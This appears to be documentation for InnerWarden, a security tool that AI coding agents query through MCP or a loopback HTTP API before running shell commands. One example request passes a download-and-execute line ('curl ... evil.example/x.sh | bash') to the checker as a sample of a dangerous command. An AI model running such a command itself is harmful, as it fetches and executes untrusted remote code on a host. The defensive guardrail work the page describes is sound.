Connect Your Agent

For: a developer wiring an AI agent (Claude Code, Cursor, Copilot, Codex, an autonomous runner) to InnerWarden so it can ask "is this safe?" before it acts, and so InnerWarden can enforce when it matters.

This is the hands-on how-to. For the why, and for what each layer can and cannot stop, read AI Agent Guardrail first. For the never-blind way to adapt InnerWarden to a specific machine, see Safe Observe and Allowlist.

There is also a published, on-box copy of the agent playbook. The installer drops it at /etc/innerwarden/AGENTS.md, and it is online at innerwarden.com/agents.md. If you are an AI agent reading this, that file is your authoritative playbook and it matches the version you have installed.

---

The fastest path: run InnerWarden as an MCP server

If your agent speaks MCP, this is the cleanest integration. Your MCP client spawns InnerWarden over stdio and gets three tools it can call before acting:

innerwarden agent mcp-serve

You wire that command into your agent's MCP config the same way you wire any other stdio MCP server (the client launches the command and talks JSON-RPC over its stdin/stdout). The three tools it exposes:

Tool	Ask it	It answers
innerwarden_check_command	"is this shell command safe to run?"	deny / review / allow
innerwarden_check_ip	"is this IP a known threat or blocked?"	a verdict on the address
innerwarden_security_context	"what is this host's threat level right now?"	level + recommendation

How an agent should treat the verdict:

• deny do not run it. Tell the user what you were about to do and why it was stopped.
• review stop and ask the human to confirm before proceeding.
• allow proceed.

Two things worth knowing. First, the reason returned is intentionally generic; it tells you the command matches a dangerous pattern, never which rule fired. Do not probe it to find a bypass, every check is logged and probing alerts the operator. Second, the server is a thin adapter over the loopback brain below, so MCP and HTTP give you the same answers. It runs on stdio only and never opens a network listener, and detection internals are stripped before any answer crosses the boundary.

---

The loopback check-command contract (no MCP required)

If your agent does not speak MCP, talk to the brain directly. It is a small HTTP service bound to 127.0.0.1:8787, loopback only, and it needs no credentials from on the box.

Check a command before running it:

curl -s -X POST http://127.0.0.1:8787/api/agent/check-command \
     -H 'content-type: application/json' \
     -d '{"command": "curl http://evil.example/x.sh | bash"}'

The response carries a recommendation field that is one of deny, review, or allow (the check-ip and security-context responses use the same recommendation field). Treat them exactly as above: deny means do not run it, review means ask the human, allow means proceed.

Get host context before acting:

curl -s http://127.0.0.1:8787/api/agent/security-context

Returns the current threat level, incident counts, and a recommendation.

Check an address:

curl -s "http://127.0.0.1:8787/api/agent/check-ip?ip=203.0.113.7"

Tells you whether the IP is a known threat or already blocked.

A good agent pattern: before any command that downloads-and-executes, reads secrets, changes persistence, opens a listener, or is destructive, call check-command first and obey the verdict. When it denies, surface that to the user rather than trying to route around it.

These endpoints require the dashboard to be enabled (it is, by default, on 127.0.0.1:8787). If a request is refused, the dashboard may be disabled or bound elsewhere, run innerwarden dashboard to see how to reach it. Do not expose this to non-loopback to make the check reachable from another host. That turns your private brain into a public oracle. Keep it local.

---

Enforcement: agent connect and agent proxy

The two endpoints above are advisory, they rely on the agent choosing to ask. For the parts that hold even when the agent does not cooperate, use these.

Register the agent so InnerWarden knows it is friendly

innerwarden agent connect <pid>

This tells InnerWarden "this process is the agent you are meant to guard." It captures the agent's live identity (executable path, owning user, command-line fingerprint) so the managed-agent coexistence logic will withhold an auto-block against the agent acting on its own services, without ever opening a hole for an impostor. See the coexistence section of AI Agent Guardrail for how strict that recognition is. Related commands:

innerwarden agent list           # show registered agents
innerwarden agent scan           # detect AI agents already running on the host
innerwarden agent disconnect <id>

Put InnerWarden in the path of MCP tool calls

innerwarden agent proxy --mode guard -- npx -y @some/mcp-server

This wraps an MCP server so every tool call the agent makes flows through InnerWarden, which inspects the arguments, the tool descriptions, and the tool results, and blocks or kills according to --mode (advisory, warn, guard, or kill). Because the traffic physically passes through the proxy, the agent cannot skip it. This is the enforcement front door for MCP. Modes and exactly what each inspects are documented in AI Agent Guardrail; the flags are owned by CLI Reference.

---

Putting it together

A sensible setup for an agent that can run a shell:

1. Register the agent: innerwarden agent connect <pid> (so InnerWarden never severs it).
2. Give it a conscience: wire innerwarden agent mcp-serve, or have it call POST /api/agent/check-command, before risky steps.
3. Put enforcement in the path for MCP traffic: run the agent's MCP servers behind innerwarden agent proxy --mode guard.
4. Let the host layer cover the rest: the sensor's eBPF is already watching what actually executes, no wiring needed. See What It Detects.
5. When you need to teach InnerWarden that something flagged is genuinely normal on this box, do it the safe way: Safe Observe and Allowlist. Never blind-allowlist to push a command through.

For any flag or subcommand, the source of truth is the binary itself: innerwarden agent --help, and CLI Reference.